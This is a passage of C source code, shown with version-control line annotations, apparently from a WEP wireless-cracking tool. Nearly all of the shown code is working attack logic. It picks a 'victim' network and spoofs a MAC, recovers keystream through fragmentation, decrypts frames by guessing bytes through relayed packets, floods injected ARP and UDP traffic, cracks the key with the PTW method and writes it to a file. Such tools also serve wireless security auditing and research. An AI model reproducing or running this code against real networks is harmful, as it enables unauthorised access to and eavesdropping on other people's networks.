1570161030Ssam			if (mac[0] == 0xff || mac[0] == 0x1)
1571161030Ssam				return;
1572161030Ssam
1573161030Ssam			memcpy(mymac, mac, 6);
1574161030Ssam			time_print("Trying to use MAC=(%s)\n", mac2str(mymac));
1575161030Ssam			state = FOUND_VICTIM;
1576161030Ssam			return;
1577161030Ssam		}
1578161030Ssam
1579161030Ssam		// wep data!
1580161030Ssam		if ( (wh->i_fc[1] & IEEE80211_FC1_WEP) && dlen > (4+8+4)) {
1581161030Ssam			got_wep(wh, rd);
1582161030Ssam		}
1583161030Ssam	}
1584161030Ssam}
1585161030Ssam
1586161030Ssamvoid anal(unsigned char* buf, int rd, int tx) { // yze
1587168502Ssam	struct ieee80211_frame* wh = (struct ieee80211_frame *) buf;
1588161030Ssam	int type,stype;
1589161030Ssam	static int lastseq = -1;
1590161030Ssam	int seq;
1591161030Ssam	unsigned short *seqptr;
1592161030Ssam	int for_us = 0;
1593161030Ssam
1594161030Ssam	if (rd < 1) {
1595161030Ssam		time_print("rd=%d\n", rd);
1596161030Ssam		exit(1);
1597161030Ssam	}
1598161030Ssam
1599161030Ssam	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1600161030Ssam	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1601161030Ssam
1602161030Ssam	// sort out acks
1603161030Ssam	if (state >= FOUND_VICTIM) {
1604161030Ssam		// stuff for us
1605161030Ssam		if (memcmp(wh->i_addr1, mymac, 6) == 0) {
1606161030Ssam			for_us = 1;
1607161030Ssam			if (type != IEEE80211_FC0_TYPE_CTL)
1608161030Ssam				send_ack(tx);
1609161030Ssam		}
1610161030Ssam	}
1611161030Ssam
1612161030Ssam	// XXX i know it aint great...
1613161030Ssam	seqptr = (unsigned short*)  wh->i_seq;
1614161030Ssam	seq = (*seqptr & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1615161030Ssam	if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) &&
1616161030Ssam	    type != IEEE80211_FC0_TYPE_CTL) {
1617161030Ssam//		printf("Ignoring dup packet... seq=%d\n", seq);
1618161030Ssam		return;
1619161030Ssam	}
1620161030Ssam	lastseq = seq;
1621161030Ssam
1622161030Ssam	// management frame
1623161030Ssam	if (type == IEEE80211_FC0_TYPE_MGT) {
1624161030Ssam		if(state == FIND_VICTIM) {
1625161030Ssam			if (stype == IEEE80211_FC0_SUBTYPE_BEACON ||
1626161030Ssam			    stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1627161030Ssam
1628161030Ssam			    	if (get_victim_ssid(wh, rd)) {
1629161030Ssam			    		return;
1630161030Ssam				}
1631161030Ssam			}
1632161030Ssam
1633161030Ssam		}
1634161030Ssam	}
1635161030Ssam
1636161030Ssam	if (state >= FOUND_VICTIM) {
1637161030Ssam		// stuff for us
1638161030Ssam		if (for_us) {
1639161030Ssam			stuff_for_us(wh, rd);
1640161030Ssam		}
1641161030Ssam
1642161030Ssam		// stuff in network [even for us]
1643161030Ssam		if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1644161030Ssam			  (memcmp(victim.bss, wh->i_addr1, 6) == 0)) ||
1645161030Ssam
1646161030Ssam			  ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1647161030Ssam			  (memcmp(victim.bss, wh->i_addr2, 6) == 0))
1648161030Ssam			   ) {
1649161030Ssam			stuff_for_net(wh, rd);
1650161030Ssam		}
1651161030Ssam	}
1652161030Ssam}
1653161030Ssam
1654161030Ssamvoid do_arp(unsigned char* buf, unsigned short op,
1655161030Ssam	    unsigned char* m1, unsigned char* i1,
1656161030Ssam	    unsigned char* m2, unsigned char* i2) {
1657161030Ssam
1658161030Ssam        struct in_addr sip;
1659161030Ssam        struct in_addr dip;
1660161030Ssam	struct arphdr* h;
1661161030Ssam	unsigned char* data;
1662161030Ssam
1663161030Ssam        inet_aton(i1, &sip);
1664161030Ssam        inet_aton(i2, &dip);
1665161030Ssam	h = (struct arphdr*) buf;
1666161030Ssam
1667161030Ssam	memset(h, 0, sizeof(*h));
1668161030Ssam
1669161030Ssam	h->ar_hrd = htons(ARPHRD_ETHER);
1670161030Ssam        h->ar_pro = htons(ETHERTYPE_IP);
1671161030Ssam        h->ar_hln = 6;
1672161030Ssam        h->ar_pln = 4;
1673161030Ssam        h->ar_op = htons(op);
1674161030Ssam
1675161030Ssam	data = (unsigned char*) h + sizeof(*h);
1676161030Ssam
1677161030Ssam	memcpy(data, m1, 6);
1678161030Ssam	data += 6;
1679161030Ssam	memcpy(data, &sip, 4);
1680161030Ssam	data += 4;
1681161030Ssam
1682161030Ssam	memcpy(data, m2, 6);
1683161030Ssam	data += 6;
1684161030Ssam	memcpy(data, &dip, 4);
1685161030Ssam	data += 4;
1686161030Ssam}
1687161030Ssam
1688161030Ssamvoid send_fragment(int tx, struct frag_state* fs, struct prga_info *pi) {
1689161030Ssam	unsigned char buf[4096];
1690161030Ssam	struct ieee80211_frame* wh;
1691161030Ssam	unsigned char* body;
1692161030Ssam	int fragsize;
1693161030Ssam	uLong crc;
1694161030Ssam	unsigned long *pcrc;
1695161030Ssam	int i;
1696161030Ssam	unsigned short* seq;
1697161030Ssam	unsigned short sn, fn;
1698161030Ssam
1699161030Ssam	wh = (struct ieee80211_frame*) buf;
1700161030Ssam	memcpy(wh, &fs->wh, sizeof(*wh));
1701161030Ssam
1702161030Ssam	body = (unsigned char*) wh + sizeof(*wh);
1703161030Ssam	memcpy(body, &pi->iv, 3);
1704161030Ssam	body += 3;
1705161030Ssam	*body++ = 0; // key index
1706161030Ssam
1707161030Ssam	fragsize = fs->data + fs->len - fs->ptr;
1708161030Ssam
1709161030Ssam	assert(fragsize > 0);
1710161030Ssam
1711161030Ssam	if ( (fragsize + 4) > pi->len) {
1712161030Ssam		fragsize = pi->len  - 4;
1713161030Ssam		wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
1714161030Ssam	}
1715161030Ssam	// last fragment
1716161030Ssam	else {
1717161030Ssam		wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
1718161030Ssam	}
1719161030Ssam
1720161030Ssam	memcpy(body, fs->ptr, fragsize);
1721161030Ssam
1722161030Ssam	crc = crc32(0L, Z_NULL, 0);
1723161030Ssam	crc = crc32(crc, body, fragsize);
1724161030Ssam	pcrc = (unsigned long*) (body+fragsize);
1725161030Ssam	*pcrc = crc;
1726161030Ssam
1727161030Ssam	for (i = 0; i < (fragsize + 4); i++)
1728161030Ssam		body[i] ^= pi->prga[i];
1729161030Ssam
1730161030Ssam	seq = (unsigned short*) &wh->i_seq;
1731161030Ssam	sn = (*seq & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1732161030Ssam	fn = *seq & IEEE80211_SEQ_FRAG_MASK;
1733161030Ssam//	printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn);
1734161030Ssam
1735161030Ssam	send_frame(tx, buf, sizeof(*wh) + 4 + fragsize+4);
1736161030Ssam
1737161030Ssam	seq = (unsigned short*) &fs->wh.i_seq;
1738161030Ssam	*seq = fnseq(++fn, sn);
1739161030Ssam	fs->ptr += fragsize;
1740161030Ssam
1741161030Ssam	if (fs->ptr - fs->data == fs->len) {
1742161030Ssam//		printf("Finished sending frags...\n");
1743161030Ssam		fs->waiting_relay = 1;
1744161030Ssam	}
1745161030Ssam}
1746161030Ssam
1747161030Ssamvoid prepare_fragstate(struct frag_state* fs, int pad) {
1748161030Ssam	fs->waiting_relay = 0;
1749161030Ssam	fs->len = 8 + 8 + 20 + pad;
1750161030Ssam	fs->data = (unsigned char*) malloc(fs->len);
1751161030Ssam
1752161030Ssam	if(!fs->data) {
1753161030Ssam		perror("malloc()");
1754161030Ssam		exit(1);
1755161030Ssam	}
1756161030Ssam
1757161030Ssam	fs->ptr = fs->data;
1758161030Ssam
1759161030Ssam	do_llc(fs->data, ETHERTYPE_ARP);
1760161030Ssam	do_arp(&fs->data[8], ARPOP_REQUEST,
1761161030Ssam	       mymac, myip,
1762161030Ssam	       "\x00\x00\x00\x00\x00\x00", "192.168.0.1");
1763161030Ssam
1764161030Ssam	memset(&fs->wh, 0, sizeof(fs->wh));
1765161030Ssam	fill_basic(&fs->wh);
1766161030Ssam
1767161030Ssam	memset(fs->wh.i_addr3, 0xff, 6);
1768161030Ssam	fs->wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1769161030Ssam	fs->wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS |
1770161030Ssam				IEEE80211_FC1_MORE_FRAG |
1771161030Ssam				IEEE80211_FC1_WEP;
1772161030Ssam
1773161030Ssam	memset(&fs->data[8+8+20], 0, pad);
1774161030Ssam}
1775161030Ssam
1776161030Ssamvoid discover_prga(int tx) {
1777161030Ssam
1778161030Ssam	// create packet...
1779161030Ssam	if (!fragstate.data) {
1780161030Ssam		int pad = 0;
1781161030Ssam
1782161030Ssam		if (prgainfo.len >= 20)
1783161030Ssam			pad = prgainfo.len*3;
1784161030Ssam
1785161030Ssam		prepare_fragstate(&fragstate, pad);
1786161030Ssam	}
1787161030Ssam
1788161030Ssam	if (!fragstate.waiting_relay) {
1789161030Ssam		send_fragment(tx, &fragstate, &prgainfo);
1790161030Ssam		if (fragstate.waiting_relay) {
1791161030Ssam			if (gettimeofday(&fragstate.last, NULL) == -1)
1792161030Ssam				err(1, "gettimeofday()");
1793161030Ssam		}
1794161030Ssam	}
1795161030Ssam}
1796161030Ssam
1797161030Ssamvoid decrypt(int tx) {
1798161030Ssam
1799161030Ssam	// gotta initiate
1800161030Ssam	if (!decryptstate.fragstate.data) {
1801161030Ssam		prepare_fragstate(&decryptstate.fragstate, 0);
1802161030Ssam
1803161030Ssam		memcpy(decryptstate.fragstate.wh.i_addr3,
1804161030Ssam		       MCAST_PREF, 5);
1805161030Ssam
1806161030Ssam		decryptstate.fragstate.wh.i_addr3[5] =
1807161030Ssam		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1808161030Ssam
1809161030Ssam		decryptstate.prgainfo.len++;
1810161030Ssam	}
1811161030Ssam
1812161030Ssam	// guess diff prga byte...
1813161030Ssam	if (decryptstate.fragstate.waiting_relay) {
1814161030Ssam		unsigned short* seq;
1815161030Ssam		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]++;
1816161030Ssam
1817161030Ssam#if 0
1818161030Ssam		if (decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] == 0) {
1819161030Ssam			printf("Can't decrpyt!\n");
1820161030Ssam			exit(1);
1821161030Ssam		}
1822161030Ssam#endif
1823161030Ssam		decryptstate.fragstate.wh.i_addr3[5] =
1824161030Ssam		decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1825161030Ssam
1826161030Ssam		decryptstate.fragstate.waiting_relay = 0;
1827161030Ssam		decryptstate.fragstate.ptr = decryptstate.fragstate.data;
1828161030Ssam
1829161030Ssam		seq = (unsigned short*) &decryptstate.fragstate.wh.i_seq;
1830161030Ssam		*seq = fnseq(0, txstate.psent);
1831161030Ssam	}
1832161030Ssam
1833161030Ssam	send_fragment(tx, &decryptstate.fragstate,
1834161030Ssam		      &decryptstate.prgainfo);
1835161030Ssam}
1836161030Ssam
1837161030Ssamvoid flood_inet(tx) {
1838161030Ssam	static int send_arp = -1;
1839161030Ssam	static unsigned char arp_pkt[128];
1840161030Ssam	static int arp_len;
1841161030Ssam	static unsigned char udp_pkt[128];
1842161030Ssam	static int udp_len;
1843161030Ssam	static struct timeval last_ip;
1844161030Ssam
1845161030Ssam	// need to init packets...
1846161030Ssam	if (send_arp == -1) {
1847161030Ssam		unsigned char* body;
1848161030Ssam		unsigned char* ptr;
1849161030Ssam		struct ieee80211_frame* wh;
1850161030Ssam		struct ip* ih;
1851161030Ssam		struct udphdr* uh;
1852161030Ssam
1853161030Ssam		memset(arp_pkt, 0, sizeof(arp_pkt));
1854161030Ssam		memset(udp_pkt, 0, sizeof(udp_pkt));
1855161030Ssam
1856161030Ssam		// construct ARP
1857161030Ssam		wh = (struct ieee80211_frame*) arp_pkt;
1858161030Ssam		fill_basic(wh);
1859161030Ssam
1860161030Ssam		wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1861161030Ssam		wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1862161030Ssam		memset(wh->i_addr3, 0xff, 6);
1863161030Ssam
1864161030Ssam		body = (unsigned char*) wh + sizeof(*wh);
1865161030Ssam		ptr = body;
1866161030Ssam		ptr += 4; // iv
1867161030Ssam
1868161030Ssam		do_llc(ptr, ETHERTYPE_ARP);
1869161030Ssam		ptr += 8;
1870161030Ssam		do_arp(ptr, ARPOP_REQUEST, mymac, myip,
1871161030Ssam		       "\x00\x00\x00\x00\x00\x00", netip);
1872161030Ssam
1873161030Ssam		wepify(body, 8+8+20);
1874161030Ssam		arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1875161030Ssam		assert(arp_len < sizeof(arp_pkt));
1876161030Ssam
1877161030Ssam
1878161030Ssam		// construct UDP
1879161030Ssam		wh = (struct ieee80211_frame*) udp_pkt;
1880161030Ssam		fill_basic(wh);
1881161030Ssam
1882161030Ssam		wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1883161030Ssam		wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1884161030Ssam		memcpy(wh->i_addr3, rtrmac, 6);
1885161030Ssam
1886161030Ssam		body = (unsigned char*) wh + sizeof(*wh);
1887161030Ssam		ptr = body;
1888161030Ssam		ptr += 4; // iv
1889161030Ssam
1890161030Ssam		do_llc(ptr, ETHERTYPE_IP);
1891161030Ssam		ptr += 8;
1892161030Ssam
1893161030Ssam		ih = (struct ip*) ptr;
1894161030Ssam		ih->ip_hl = 5;
1895161030Ssam		ih->ip_v = 4;
1896161030Ssam		ih->ip_tos = 0;
1897161030Ssam		ih->ip_len = htons(20+8+5);
1898161030Ssam		ih->ip_id = htons(666);
1899161030Ssam		ih->ip_off = 0;
1900161030Ssam		ih->ip_ttl = 128;
1901161030Ssam		ih->ip_p = IPPROTO_UDP;
1902161030Ssam		ih->ip_sum = 0;
1903161030Ssam
1904161030Ssam		inet_aton(myip, &ih->ip_src);
1905161030Ssam		inet_aton(floodip, &ih->ip_dst);
1906161030Ssam
1907161030Ssam		ih->ip_sum = in_cksum((unsigned short*)ih, 20);
1908161030Ssam
1909161030Ssam		ptr += 20;
1910161030Ssam		uh = (struct udphdr*) ptr;
1911161030Ssam		uh->uh_sport = htons(floodsport);
1912161030Ssam		uh->uh_dport = htons(floodport);
1913161030Ssam		uh->uh_ulen = htons(8+5);
1914161030Ssam		uh->uh_sum = 0;
1915161030Ssam
1916161030Ssam		ptr += 8;
1917161030Ssam		strcpy(ptr, "sorbo");
1918161030Ssam
1919161030Ssam		uh->uh_sum = udp_checksum(ptr - 8, 8+5, &ih->ip_src,
1920161030Ssam					  &ih->ip_dst);
1921161030Ssam
1922161030Ssam		wepify(body, 8+20+8+5);
1923161030Ssam		udp_len = sizeof(*wh) + 4 + 8 + 20 + 8 + 5 + 4;
1924161030Ssam		assert(udp_len < sizeof(udp_pkt));
1925161030Ssam
1926161030Ssam		// bootstrap
1927161030Ssam		send_arp = 1;
1928161030Ssam
1929161030Ssam		memset(&last_ip, 0, sizeof(last_ip));
1930161030Ssam	}
1931161030Ssam
1932161030Ssam	if (send_arp == 1) {
1933161030Ssam		struct timeval now;
1934161030Ssam		unsigned long sec;
1935161030Ssam
1936161030Ssam		if (gettimeofday(&now, NULL) == -1) {
1937161030Ssam			perror("gettimeofday()");
1938161030Ssam			exit(1);
1939161030Ssam		}
1940161030Ssam
1941161030Ssam		sec = now.tv_sec - last_ip.tv_sec;
1942161030Ssam
1943161030Ssam		if (sec < 5)
1944161030Ssam			return;
1945161030Ssam
1946161030Ssam		send_frame(tx, arp_pkt, arp_len);
1947161030Ssam		send_arp = 0;
1948161030Ssam	}
1949161030Ssam
1950161030Ssam	else if (send_arp == 0) {
1951161030Ssam		if (gettimeofday(&last_ip, NULL) == -1) {
1952161030Ssam			perror("gettimeofday()");
1953161030Ssam			exit(1);
1954161030Ssam		}
1955161030Ssam
1956161030Ssam		send_frame(tx, udp_pkt, udp_len);
1957161030Ssam		send_arp = 1;
1958161030Ssam	} else assert(0);
1959161030Ssam}
1960161030Ssam
1961161030Ssamvoid send_arp(int tx, unsigned short op, unsigned char* srcip,
1962161030Ssam	      unsigned char* srcmac, unsigned char* dstip,
1963161030Ssam	      unsigned char* dstmac) {
1964161030Ssam
1965161030Ssam	static unsigned char arp_pkt[128];
1966161030Ssam	unsigned char* body;
1967161030Ssam	unsigned char* ptr;
1968161030Ssam	struct ieee80211_frame* wh;
1969161030Ssam	int arp_len;
1970161030Ssam
1971161030Ssam	memset(arp_pkt, 0, sizeof(arp_pkt));
1972161030Ssam
1973161030Ssam	// construct ARP
1974161030Ssam	wh = (struct ieee80211_frame*) arp_pkt;
1975161030Ssam	fill_basic(wh);
1976161030Ssam
1977161030Ssam	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1978161030Ssam	wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1979161030Ssam	memset(wh->i_addr3, 0xff, 6);
1980161030Ssam
1981161030Ssam	body = (unsigned char*) wh + sizeof(*wh);
1982161030Ssam	ptr = body;
1983161030Ssam	ptr += 4; // iv
1984161030Ssam
1985161030Ssam	do_llc(ptr, ETHERTYPE_ARP);
1986161030Ssam	ptr += 8;
1987161030Ssam	do_arp(ptr, op, srcmac, srcip, dstmac, dstip);
1988161030Ssam
1989161030Ssam	wepify(body, 8+8+20);
1990161030Ssam	arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1991161030Ssam	assert(arp_len < sizeof(arp_pkt));
1992161030Ssam
1993161030Ssam	send_frame(tx, arp_pkt, arp_len);
1994161030Ssam}
1995161030Ssam
1996161030Ssamvoid can_write(int tx) {
1997161030Ssam	static char arp_ip[16];
1998161030Ssam
1999161030Ssam	switch (state) {
2000161030Ssam		case FOUND_VICTIM:
2001161030Ssam			send_auth(tx);
2002161030Ssam			state = SENDING_AUTH;
2003161030Ssam			break;
2004161030Ssam
2005161030Ssam		case GOT_AUTH:
2006161030Ssam			send_assoc(tx);
2007161030Ssam			state = SENDING_ASSOC;
2008161030Ssam			break;
2009161030Ssam
2010161030Ssam		case GOT_ASSOC:
2011161030Ssam			if (prgainfo.prga && prgainfo.len < min_prga) {
2012161030Ssam				discover_prga(tx);
2013161030Ssam				break;
2014161030Ssam			}
2015161030Ssam
2016161030Ssam			if (decryptstate.cipher) {
2017161030Ssam				decrypt(tx);
2018161030Ssam				break;
2019161030Ssam			}
2020161030Ssam
2021161030Ssam			if (!prgainfo.prga)
2022161030Ssam				break;
2023161030Ssam
2024161030Ssam			if (taptx_len) {
2025161030Ssam				send_frame(tx, taptx, taptx_len);
2026161030Ssam				taptx_len = 0;
2027161030Ssam				break;
2028161030Ssam			}
2029161030Ssam
2030161030Ssam			// try to find rtr mac addr
2031161030Ssam			if (netip && !rtrmac) {
2032161030Ssam				char* ptr;
2033161030Ssam
2034161030Ssam				strcpy(arp_ip, netip);
2035168502Ssam				if (!netip_arg) {
2036168502Ssam					ptr = strchr(arp_ip, '.');
2037168502Ssam					assert(ptr);
2038168502Ssam					ptr = strchr(++ptr, '.');
2039168502Ssam					assert(ptr);
2040168502Ssam					ptr = strchr(++ptr, '.');
2041168502Ssam					assert(ptr);
2042168502Ssam					strcpy(++ptr, "1");
2043168502Ssam				}
2044161030Ssam
2045161030Ssam				if (gettimeofday(&arpsend, NULL) == -1)
2046161030Ssam					err(1, "gettimeofday()");
2047161030Ssam
2048161030Ssam				time_print("Sending arp request for: %s\n", arp_ip);
2049161030Ssam				send_arp(tx, ARPOP_REQUEST, myip, mymac,
2050161030Ssam					 arp_ip, "\x00\x00\x00\x00\x00\x00");
2051161030Ssam
2052161030Ssam				// XXX lame
2053161030Ssam				rtrmac = (unsigned char*)1;
2054161030Ssam				break;
2055161030Ssam			}
2056161030Ssam
2057161030Ssam			// need to generate traffic...
2058161030Ssam			if (rtrmac > (unsigned char*)1 && netip) {
2059161030Ssam				if (floodip)
2060161030Ssam					flood_inet(tx);
2061161030Ssam				else {
2062161030Ssam					// XXX lame technique... anyway... im
2063161030Ssam					// only interested in flood_inet...
2064161030Ssam
2065161030Ssam					// could ping broadcast....
2066161030Ssam					send_arp(tx, ARPOP_REQUEST, myip, mymac,
2067161030Ssam						 arp_ip, "\x00\x00\x00\x00\x00\x00");
2068161030Ssam				}
2069161030Ssam
2070161030Ssam				break;
2071161030Ssam			}
2072161030Ssam
2073161030Ssam			break;
2074161030Ssam	}
2075161030Ssam}
2076161030Ssam
2077168502Ssamvoid save_key(unsigned char *key, int len)
2078168502Ssam{
2079168502Ssam	char tmp[16];
2080168966Ssam	char k[64];
2081168502Ssam	int fd;
2082168502Ssam	int rd;
2083168502Ssam
2084168966Ssam	assert(len*3 < sizeof(k));
2085168966Ssam
2086168502Ssam	k[0] = 0;
2087168502Ssam	while (len--) {
2088168502Ssam		sprintf(tmp, "%.2X", *key++);
2089168502Ssam		strcat(k, tmp);
2090168502Ssam		if (len)
2091168502Ssam			strcat(k, ":");
2092168502Ssam	}
2093168502Ssam
2094168502Ssam	fd = open(KEY_FILE, O_WRONLY | O_CREAT | 0644);
2095168502Ssam	if (fd == -1)
2096168502Ssam		err(1, "open()");
2097168502Ssam
2098168502Ssam	printf("\nKey: %s\n", k);
2099168502Ssam	rd = write(fd, k, strlen(k));
2100168502Ssam	if (rd == -1)
2101168502Ssam		err(1, "write()");
2102168502Ssam	if (rd != strlen(k))
2103168502Ssam		errx(1, "write %d/%d\n", rd, strlen(k));
2104168502Ssam	close(fd);
2105168502Ssam}
2106168502Ssam
2107168502Ssam#define KEYLIMIT (1000000)
2108168502Ssamint do_crack(void)
2109168502Ssam{
2110168502Ssam	unsigned char key[PTW_KEYHSBYTES];
2111168502Ssam
2112168502Ssam	if(PTW_computeKey(ptw, key, 13, KEYLIMIT) == 1) {
2113168502Ssam		save_key(key, 13);
2114168502Ssam		return 1;
2115168502Ssam	}
2116168502Ssam	if(PTW_computeKey(ptw, key, 5, KEYLIMIT/10) == 1) {
2117168502Ssam		save_key(key, 5);
2118168502Ssam		return 1;
2119168502Ssam	}
2120168502Ssam
2121168502Ssam	return 0;
2122168502Ssam}
2123168502Ssam
2124161030Ssamvoid try_crack() {
2125161030Ssam	if (crack_pid) {
2126161030Ssam		printf("\n");
2127161030Ssam		time_print("Warning... previous crack still running!\n");
2128161030Ssam		kill_crack();
2129161030Ssam	}
2130161030Ssam
2131161030Ssam	if (weplog.fd) {
2132161030Ssam		if (fsync(weplog.fd) == -1)
2133161030Ssam			err(1, "fsync");
2134161030Ssam	}
2135161030Ssam
2136161030Ssam	crack_pid = fork();
2137161030Ssam
2138161030Ssam	if (crack_pid == -1)
2139161030Ssam		err(1, "fork");
2140161030Ssam
2141161030Ssam	// child
2142161030Ssam	if (crack_pid == 0) {
2143168502Ssam		if (!do_crack())
2144168502Ssam			printf("\nCrack unsuccessful\n");
2145161030Ssam		exit(1);
2146161030Ssam	}
2147161030Ssam
2148161030Ssam	// parent
2149161030Ssam	printf("\n");
2150161030Ssam	time_print("Starting crack PID=%d\n", crack_pid);
2151161030Ssam	if (gettimeofday(&crack_start, NULL) == -1)
2152161030Ssam		err(1, "gettimeofday");
2153161030Ssam
2154161030Ssam
2155161030Ssam	wep_thresh += thresh_incr;
2156161030Ssam}
2157161030Ssam
2158161030Ssamvoid open_tap() {
2159161030Ssam	struct stat st;
2160161030Ssam	int s;
2161161030Ssam	struct ifreq ifr;
2162161030Ssam	unsigned int flags;
2163161030Ssam
2164161030Ssam	tapfd = open(TAP_DEV, O_RDWR);
2165161030Ssam	if (tapfd == -1) {
2166161030Ssam		printf("Can't open tap: %s\n", strerror(errno));
2167161030Ssam		exit(1);
2168161030Ssam	}
2169161030Ssam	if(fstat(tapfd, &st) == -1) {
2170161030Ssam		perror("fstat()");
2171161030Ssam		exit(1);
2172161030Ssam	}
2173161030Ssam
2174161030Ssam	// feer
2175161030Ssam	strcpy(tapdev, devname(st.st_rdev, S_IFCHR));
2176161030Ssam
2177161030Ssam	s = socket(PF_INET, SOCK_DGRAM, 0);
2178161030Ssam	if (s == -1) {
2179161030Ssam		perror("socket()");
2180161030Ssam		exit(1);
2181161030Ssam	}
2182161030Ssam
2183161030Ssam	// MTU
2184161030Ssam	memset(&ifr, 0, sizeof(ifr));
2185161030Ssam	strcpy(ifr.ifr_name, tapdev);
2186161030Ssam	ifr.ifr_mtu = 1500;
2187161030Ssam	if (ioctl(s, SIOCSIFMTU, &ifr) == -1) {
2188161030Ssam		perror("ioctl(SIOCSIFMTU)");
2189161030Ssam		exit(1);
2190161030Ssam	}
2191161030Ssam
2192161030Ssam	// set iface up
2193161030Ssam	memset(&ifr, 0, sizeof(ifr));
2194161030Ssam	strcpy(ifr.ifr_name, tapdev);
2195161030Ssam	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
2196161030Ssam		perror("ioctl(SIOCGIFFLAGS)");
2197161030Ssam		exit(1);
2198161030Ssam	}
2199161030Ssam
2200161030Ssam	flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
2201161030Ssam	flags |= IFF_UP;
2202161030Ssam
2203161030Ssam	memset(&ifr, 0, sizeof(ifr));
2204161030Ssam	strcpy(ifr.ifr_name, tapdev);
2205161030Ssam	ifr.ifr_flags = flags & 0xffff;
2206161030Ssam	ifr.ifr_flagshigh = flags >> 16;
2207161030Ssam	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
2208161030Ssam		perror("ioctl(SIOCSIFFLAGS)");
2209161030Ssam		exit(1);
2210161030Ssam	}
2211161030Ssam
2212161030Ssam	close(s);
2213161030Ssam	time_print("Opened tap device: %s\n", tapdev);
2214161030Ssam}
2215161030Ssam
2216161030Ssamvoid read_tap() {
2217161030Ssam	unsigned char buf[4096];
2218161030Ssam	struct ether_header* eh;
2219161030Ssam	struct ieee80211_frame* wh;
2220161030Ssam	int rd;
2221161030Ssam	unsigned char* ptr, *body;
2222161030Ssam	int dlen;
2223161030Ssam
2224161030Ssam	rd = read(tapfd, buf, sizeof(buf));
2225161030Ssam	if (rd == -1) {
2226161030Ssam		perror("read()");
2227161030Ssam		exit(1);
2228161030Ssam	}
2229161030Ssam	dlen = rd - sizeof(*eh);
2230161030Ssam
2231161030Ssam	assert(dlen > 0);
2232161030Ssam
2233161030Ssam	if (dlen+8 > prgainfo.len) {
2234161030Ssam		printf("\n");
2235161030Ssam		// XXX lame message...
2236161030Ssam		time_print("Sorry... want to send %d but only got %d prga\n",
2237161030Ssam			   dlen, prgainfo.len);
2238161030Ssam		return;
2239161030Ssam
2240161030Ssam	}
2241161030Ssam
2242161030Ssam	if (taptx_len) {
2243161030Ssam		printf("\n");
2244161030Ssam		time_print("Sorry... overflow in TAP queue [of 1 packet =P] overwriting\n");
2245161030Ssam		// XXX could not read instead and get rid of it in select...
2246161030Ssam	}
2247161030Ssam
2248161030Ssam	assert (rd < (sizeof(buf)-sizeof(*wh) - 8 - 8));
2249161030Ssam
2250161030Ssam	eh = (struct ether_header*) buf;
2251161030Ssam
2252161030Ssam	wh = (struct ieee80211_frame*) taptx;
2253161030Ssam	memset(wh, 0, sizeof(*wh));
2254161030Ssam	fill_basic(wh);
2255161030Ssam
2256161030Ssam        wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
2257161030Ssam        wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
2258161030Ssam
2259161030Ssam	memcpy(wh->i_addr2, eh->ether_shost, 6);
2260161030Ssam	memcpy(wh->i_addr3, eh->ether_dhost, 6);
2261161030Ssam
2262161030Ssam        body = (unsigned char*) wh + sizeof(*wh);
2263161030Ssam        ptr = body;
2264161030Ssam        ptr += 4; // iv
2265161030Ssam
2266161030Ssam	do_llc(ptr, ntohs(eh->ether_type));
2267161030Ssam	ptr += 8;
2268161030Ssam
2269161030Ssam	memcpy(ptr, &buf[sizeof(*eh)], dlen);
2270161030Ssam
2271161030Ssam	wepify(body, 8+dlen);
2272161030Ssam	taptx_len = sizeof(*wh) + 4 + 8 + dlen + 4;
2273161030Ssam
2274161030Ssam	assert (taptx_len < sizeof(taptx));
2275161030Ssam}
2276161030Ssam
2277161030Ssamint elapsedd(struct timeval *past, struct timeval *now)
2278161030Ssam{
2279161030Ssam        int el;
2280161030Ssam
2281161030Ssam        el = now->tv_sec - past->tv_sec;
2282161030Ssam        assert(el >= 0);
2283161030Ssam        if (el == 0) {
2284161030Ssam                el = now->tv_usec - past->tv_usec;
2285161030Ssam        } else {
2286161030Ssam                el = (el - 1)*1000*1000;
2287161030Ssam                el += 1000*1000-past->tv_usec;
2288161030Ssam                el += now->tv_usec;
2289161030Ssam        }
2290161030Ssam
2291161030Ssam        return el;
2292161030Ssam}
2293161030Ssam
2294168502Ssamstatic unsigned char *get_80211(unsigned char **data, int *totlen, int *plen)
2295168502Ssam{
2296168502Ssam#define BIT(n)  (1<<(n))
2297168502Ssam        struct bpf_hdr *bpfh;
2298168502Ssam        struct ieee80211_radiotap_header *rth;
2299168502Ssam        uint32_t present;
2300168502Ssam        uint8_t rflags;
2301168502Ssam        void *ptr;
2302168502Ssam	static int nocrc = 0;
2303168502Ssam
2304168502Ssam	assert(*totlen);
2305168502Ssam
